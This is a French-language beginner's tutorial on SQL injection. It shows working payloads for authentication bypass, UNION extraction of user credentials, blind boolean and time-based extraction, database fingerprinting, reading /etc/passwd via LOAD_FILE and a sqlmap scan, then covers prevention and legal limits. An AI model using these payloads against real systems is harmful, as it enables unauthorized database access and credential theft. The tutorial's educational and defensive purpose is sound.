Injection SQL pour débutants : exemples et prévention

Qu'est-ce que l'injection SQL ?

L'injection SQL (SQLi) est une technique d'injection de code qui exploite les vulnérabilités dans les applications qui construisent des requêtes SQL en utilisant des entrées utilisateur non filtrées. Lorsqu'une application concatène directement l'entrée utilisateur dans des requêtes de base de données, les attaquants peuvent manipuler la structure de la requête pour accéder à des données non autorisées ou effectuer des opérations malveillantes.

Considérez un simple formulaire de connexion qui vérifie les identifiants par rapport à une base de données :

-- Construction de requête vulnérable en PHP
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

Si un utilisateur entre admin comme nom d'utilisateur et ' OR '1'='1 comme mot de passe, la requête résultante devient :

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

Puisque '1'='1' est toujours vrai, cette requête renvoie tous les utilisateurs, contournant complètement l'authentification.

Comment fonctionnent les attaques d'injection SQL

Comprendre les mécanismes de l'injection SQL vous aide à identifier le code vulnérable et à élaborer des défenses efficaces. Voici le flux d'attaque typique :

Le rôle de la saisie utilisateur

L'injection SQL exploite la confiance que les applications placent dans la saisie utilisateur. Toute donnée qui transite des utilisateurs vers les requêtes SQL est un vecteur d'attaque potentiel :

• 1 Champs de formulaire : Identifiants de connexion, requêtes de recherche, données d'inscription
• 2 Paramètres URL : ID de produit, numéros de page, options de filtre
• 3 En-têtes HTTP : User-Agent, Referer, valeurs de Cookie
• 4 Champs cachés : Jetons de formulaire, ID utilisateur, quantités de produit

Types d'injection SQL

Les attaques d'injection SQL se répartissent en trois catégories principales selon la façon dont les attaquants récupèrent les informations de la base de données :

Injection SQL basée sur les erreurs

SQLi basée sur les erreurs s'appuie sur les messages d'erreur de base de données pour extraire des informations. Lorsque le rapport d'erreurs verbeux est activé, les attaquants peuvent élaborer des requêtes qui révèlent la structure de la base de données :

-- Entrée qui déclenche une erreur informative
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

La base de données tente de convertir un nom de table en entier, ce qui échoue et expose le nom de la table dans le message d'erreur.

Injection SQL basée sur UNION

Les attaques basées sur UNION utilisent l'instruction UNION SELECT pour combiner les résultats de plusieurs requêtes. L'attaquant détermine d'abord le nombre de colonnes, puis extrait les données :

-- Étape 1 : Trouver le nombre de colonnes avec ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  (erreur ici signifie 2 colonnes)

-- Étape 2 : Extraire les données avec UNION
' UNION SELECT username, password FROM users--

Injection SQL aveugle basée sur booléens

Lorsque les messages d'erreur sont supprimés, les attaquants posent des questions vrai/faux et observent comment l'application répond :

-- Si la page se charge normalement, le premier caractère du mot de passe est 'a' ou après
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--

-- Réduire caractère par caractère
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's'--

Injection SQL aveugle basée sur le temps

Lorsque même les différences booléennes ne sont pas visibles, les attaquants utilisent des fonctions de sommeil de base de données pour déduire les résultats en fonction du temps de réponse :

-- Si la réponse prend 5 secondes, la condition est vraie
' AND IF(1=1, SLEEP(5), 0)--

-- Extraire les données un caractère à la fois
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='s', SLEEP(5), 0)--

Exemples courants d'attaques d'injection SQL

Examinons des scénarios pratiques d'injection SQL que vous pourriez rencontrer lors de tests de pénétration ou d'évaluations de sécurité.

Contournement d'authentification

L'attaque classique "admin sans mot de passe" utilise la logique booléenne pour contourner la vérification de connexion :

Nom d'utilisateur : admin'--
Mot de passe : n'importe quoi

-- Requête résultante :
SELECT * FROM users WHERE username = 'admin'--' AND password = 'n'importe quoi'
-- Tout après -- est traité comme un commentaire

Extraction de données avec UNION

Supposons qu'une page de produit utilise cette URL : product.php?id=5. Un attaquant peut extraire des données d'autres tables :

-- Requête originale
SELECT name, price, description FROM products WHERE id = 5

-- URL malveillante : product.php?id=5 UNION SELECT username, password, email FROM users--
-- Les résultats affichent les identifiants utilisateur au lieu des infos produit

Empreinte de base de données

Identifier le type de base de données aide les attaquants à choisir les charges utiles appropriées :

-- MySQL : Renvoie la version comme "8.0.32"
' UNION SELECT @@version, NULL, NULL--

-- SQL Server : Renvoie les infos de version
' UNION SELECT @@version, NULL, NULL--

-- PostgreSQL
' UNION SELECT version(), NULL, NULL--

-- Oracle
' UNION SELECT banner FROM v$version WHERE rownum=1--

Lecture de fichiers système (MySQL)

Sur des serveurs MySQL mal configurés, les attaquants peuvent lire des fichiers du système de fichiers :

-- Lire /etc/passwd sur Linux
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--

Comment détecter les vulnérabilités d'injection SQL

Trouver l'injection SQL nécessite des tests systématiques de tous les points de saisie utilisateur. Voici les techniques principales :

Liste de contrôle pour tests manuels

• 1 Test de l'apostrophe : Entrez ' et recherchez des erreurs de base de données ou un comportement inattendu
• 2 Conditions booléennes : Comparez les réponses à 1=1 (vrai) vs 1=2 (faux)
• 3 Délais temporels : Injectez SLEEP(5) et mesurez les différences de temps de réponse
• 4 Concaténation de chaînes : Testez si test est égal à te'+'st (SQL Server) ou te'||'st (Oracle)

Outils automatisés

Plusieurs outils automatisent la détection et l'exploitation d'injection SQL :

Exemple de commande SQLMap pour tester un paramètre URL :

# Scan SQLMap de base
sqlmap -u "http://target.example/product.php?id=5" --dbs

# Options expliquées :
# -u : URL cible avec paramètre injectable
# --dbs : Énumérer les bases de données disponibles

Comment prévenir l'injection SQL

Prévenir l'injection SQL nécessite une approche de défense en profondeur. Aucune technique unique n'est infaillible, alors implémentez plusieurs couches de protection.

1. Utilisez des requêtes paramétrées (instructions préparées)

Les requêtes paramétrées séparent le code SQL des données utilisateur, rendant l'injection impossible. C'est la défense la plus efficace :

// VULNÉRABLE - Concaténation de chaînes
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

// SÉCURISÉ - Requête paramétrée (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

Voici l'équivalent dans d'autres langages :

# Python avec SQLite
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

// Java avec JDBC
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

// Node.js avec mysql2
connection.execute("SELECT * FROM users WHERE username = ?", [username]);

2. Utilisez correctement les procédures stockées

Les procédures stockées peuvent fournir une protection lorsqu'elles sont correctement implémentées, mais elles ne sont pas automatiquement sûres. Évitez le SQL dynamique dans les procédures :

-- Procédure stockée VULNÉRABLE
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')

-- Procédure stockée SÉCURISÉE
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  SELECT * FROM users WHERE username = @username

3. Validation et nettoyage des entrées

Bien que ce ne soit pas une défense complète, la validation des entrées ajoute une autre couche de sécurité :

• A Validation par liste blanche : N'acceptez que les caractères attendus (alphanumériques pour les noms d'utilisateur)
• B Vérification de type : Assurez-vous que les paramètres numériques sont réellement des nombres
• C Limites de longueur : Restreignez la longueur d'entrée aux maximums attendus

// Valider que l'ID est numérique avant utilisation
if (!is_numeric($_GET['id'])) {
    die("ID de produit invalide");
}
$id = (int) $_GET['id'];

4. Appliquez le principe du moindre privilège

Les comptes de base de données utilisés par les applications web doivent avoir des permissions minimales :

• Créez des comptes séparés pour les opérations en lecture seule et en écriture
• N'utilisez jamais de comptes d'administrateur de base de données pour les applications web
• Restreignez l'accès aux tables système et aux procédures stockées sensibles
• Désactivez les fonctions dangereuses comme xp_cmdshell dans SQL Server

5. Utilisez des pare-feu d'applications web (WAF)

Les WAF peuvent bloquer les motifs d'injection SQL courants comme une couche supplémentaire, mais ne doivent pas être votre défense principale. Les attaquants trouvent fréquemment des contournements pour les règles WAF.

Considérations légales et éthiques

Les tests d'injection SQL doivent être effectués uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé à une base de données est une infraction pénale dans la plupart des juridictions.

Pour l'apprentissage et la pratique, utilisez toujours des applications intentionnellement vulnérables ou des environnements de laboratoire autorisés.

Pratiquer l'injection SQL en toute sécurité

La meilleure façon de comprendre l'injection SQL est la pratique pratique dans des environnements sûrs et légaux. Voici des ressources conçues spécifiquement pour l'apprentissage :

Pour un apprentissage complet, le cours d'injection SQL couvre en profondeur la théorie, la détection, l'exploitation et la prévention. Combinez-le avec la formation aux outils de la fiche de référence SQLMap pour développer des compétences pratiques.

Autres plateformes de pratique

• DVWA (Damn Vulnerable Web Application) : Application de pratique classique avec plusieurs niveaux de difficulté
• SQLi-labs : Collection ciblée de défis d'injection SQL
• PortSwigger Web Security Academy : Laboratoires gratuits des créateurs de Burp Suite

Questions fréquemment posées